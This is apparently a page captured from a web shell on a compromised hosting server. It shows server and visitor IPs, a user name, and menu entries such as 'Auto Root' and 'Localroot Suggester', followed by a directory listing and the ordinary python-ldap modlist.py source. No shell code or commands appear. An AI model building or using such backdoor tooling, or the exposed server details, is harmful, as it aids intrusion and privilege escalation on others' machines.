Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib64 /
python2.7 /
site-packages /
ldap /
Delete
Unzip
Name
Size
Permission
Date
Action
controls
[ DIR ]
drwxr-xr-x
2022-07-26 09:09
extop
[ DIR ]
drwxr-xr-x
2022-07-26 09:09
schema
[ DIR ]
drwxr-xr-x
2022-07-26 09:09
__init__.py
2.2
KB
-rw-r--r--
2014-03-24 06:20
__init__.pyc
3.27
KB
-rw-r--r--
2015-03-06 00:13
__init__.pyo
2.87
KB
-rw-r--r--
2015-03-06 00:13
async.py
8.38
KB
-rw-r--r--
2014-03-07 15:01
async.pyc
10.81
KB
-rw-r--r--
2015-03-06 00:13
async.pyo
10.81
KB
-rw-r--r--
2015-03-06 00:13
cidict.py
2.64
KB
-rw-r--r--
2011-06-08 15:35
cidict.pyc
4.57
KB
-rw-r--r--
2015-03-06 00:13
cidict.pyo
4.15
KB
-rw-r--r--
2015-03-06 00:13
dn.py
2.73
KB
-rw-r--r--
2011-06-08 15:35
dn.pyc
3.47
KB
-rw-r--r--
2015-03-06 00:13
dn.pyo
3.47
KB
-rw-r--r--
2015-03-06 00:13
filter.py
1.44
KB
-rw-r--r--
2011-10-26 14:46
filter.pyc
1.83
KB
-rw-r--r--
2015-03-06 00:13
filter.pyo
1.83
KB
-rw-r--r--
2015-03-06 00:13
functions.py
3.32
KB
-rw-r--r--
2011-11-25 07:22
functions.pyc
4.05
KB
-rw-r--r--
2015-03-06 00:13
functions.pyo
3.8
KB
-rw-r--r--
2015-03-06 00:13
ldapobject.py
35.23
KB
-rw-r--r--
2014-03-07 15:01
ldapobject.pyc
39.8
KB
-rw-r--r--
2015-03-06 00:13
ldapobject.pyo
39.41
KB
-rw-r--r--
2015-03-06 00:13
logger.py
330
B
-rw-r--r--
2011-03-21 10:19
logger.pyc
899
B
-rw-r--r--
2015-03-06 00:13
logger.pyo
899
B
-rw-r--r--
2015-03-06 00:13
modlist.py
4.25
KB
-rw-r--r--
2011-06-08 15:35
modlist.pyc
3.88
KB
-rw-r--r--
2015-03-06 00:13
modlist.pyo
3.88
KB
-rw-r--r--
2015-03-06 00:13
resiter.py
945
B
-rw-r--r--
2011-10-26 14:46
resiter.pyc
1.23
KB
-rw-r--r--
2015-03-06 00:13
resiter.pyo
1.23
KB
-rw-r--r--
2015-03-06 00:13
sasl.py
4
KB
-rw-r--r--
2014-03-24 06:20
sasl.pyc
5.24
KB
-rw-r--r--
2015-03-06 00:13
sasl.pyo
4.95
KB
-rw-r--r--
2015-03-06 00:13
syncrepl.py
16.91
KB
-rw-r--r--
2015-03-06 00:13
syncrepl.pyc
14.31
KB
-rw-r--r--
2015-03-06 00:13
syncrepl.pyo
14.31
KB
-rw-r--r--
2015-03-06 00:13
Save
Rename
""" ldap.modlist - create add/modify modlist's See http://www.python-ldap.org/ for details. $Id: modlist.py,v 1.18 2011/06/06 13:07:38 stroeder Exp $ Python compability note: This module is known to work with Python 2.0+ but should work with Python 1.5.2 as well. """ from ldap import __version__ import string,ldap,ldap.cidict def list_dict(l,case_insensitive=0): """ return a dictionary with all items of l being the keys of the dictionary If argument case_insensitive is non-zero ldap.cidict.cidict will be used for case-insensitive string keys """ if case_insensitive: d = ldap.cidict.cidict() else: d = {} for i in l: d[i]=None return d def addModlist(entry,ignore_attr_types=None): """Build modify list for call of method LDAPObject.add()""" ignore_attr_types = list_dict(map(string.lower,(ignore_attr_types or []))) modlist = [] for attrtype in entry.keys(): if ignore_attr_types.has_key(string.lower(attrtype)): # This attribute type is ignored continue # Eliminate empty attr value strings in list attrvaluelist = filter(lambda x:x!=None,entry[attrtype]) if attrvaluelist: modlist.append((attrtype,entry[attrtype])) return modlist # addModlist() def modifyModlist( old_entry,new_entry,ignore_attr_types=None,ignore_oldexistent=0,case_ignore_attr_types=None ): """ Build differential modify list for calling LDAPObject.modify()/modify_s() old_entry Dictionary holding the old entry new_entry Dictionary holding what the new entry should be ignore_attr_types List of attribute type names to be ignored completely ignore_oldexistent If non-zero attribute type names which are in old_entry but are not found in new_entry at all are not deleted. This is handy for situations where your application sets attribute value to '' for deleting an attribute. In most cases leave zero. case_ignore_attr_types List of attribute type names for which comparison will be made case-insensitive """ ignore_attr_types = list_dict(map(string.lower,(ignore_attr_types or []))) case_ignore_attr_types = list_dict(map(string.lower,(case_ignore_attr_types or []))) modlist = [] attrtype_lower_map = {} for a in old_entry.keys(): attrtype_lower_map[string.lower(a)]=a for attrtype in new_entry.keys(): attrtype_lower = string.lower(attrtype) if ignore_attr_types.has_key(attrtype_lower): # This attribute type is ignored continue # Filter away null-strings new_value = filter(lambda x:x!=None,new_entry[attrtype]) if attrtype_lower_map.has_key(attrtype_lower): old_value = old_entry.get(attrtype_lower_map[attrtype_lower],[]) old_value = filter(lambda x:x!=None,old_value) del attrtype_lower_map[attrtype_lower] else: old_value = [] if not old_value and new_value: # Add a new attribute to entry modlist.append((ldap.MOD_ADD,attrtype,new_value)) elif old_value and new_value: # Replace existing attribute replace_attr_value = len(old_value)!=len(new_value) if not replace_attr_value: case_insensitive = case_ignore_attr_types.has_key(attrtype_lower) old_value_dict=list_dict(old_value,case_insensitive) new_value_dict=list_dict(new_value,case_insensitive) delete_values = [] for v in old_value: if not new_value_dict.has_key(v): replace_attr_value = 1 break add_values = [] if not replace_attr_value: for v in new_value: if not old_value_dict.has_key(v): replace_attr_value = 1 break if replace_attr_value: modlist.append((ldap.MOD_DELETE,attrtype,None)) modlist.append((ldap.MOD_ADD,attrtype,new_value)) elif old_value and not new_value: # Completely delete an existing attribute modlist.append((ldap.MOD_DELETE,attrtype,None)) if not ignore_oldexistent: # Remove all attributes of old_entry which are not present # in new_entry at all for a in attrtype_lower_map.keys(): if ignore_attr_types.has_key(a): # This attribute type is ignored continue attrtype = attrtype_lower_map[a] modlist.append((ldap.MOD_DELETE,attrtype,None)) return modlist # modifyModlist()